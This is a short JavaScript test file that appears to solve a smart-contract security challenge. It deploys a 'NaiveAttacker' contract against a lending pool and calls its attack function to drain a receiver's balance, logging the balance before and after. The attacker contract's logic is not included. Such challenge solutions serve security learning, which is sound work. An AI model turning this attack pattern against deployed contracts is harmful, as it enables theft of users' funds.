SolutionNaive2.js

it('Exploit', async function () {
	/** CODE YOUR EXPLOIT HERE */
	// Deploy attacker contract
	const NaiveAttacker = await ethers.getContractFactory('NaiveAttacker', attacker)
	this.attackerContract = await NaiveAttacker.deploy(this.pool.address)

	// Attack
	console.log(
		'Receiver balance before attacking: ',
		String(await ethers.provider.getBalance(this.receiver.address))
	)
	await this.attackerContract.connect(attacker).attack(this.receiver.address)
	console.log(
		'Receiver balance after attacking: ',
		String(await ethers.provider.getBalance(this.receiver.address))
	)
})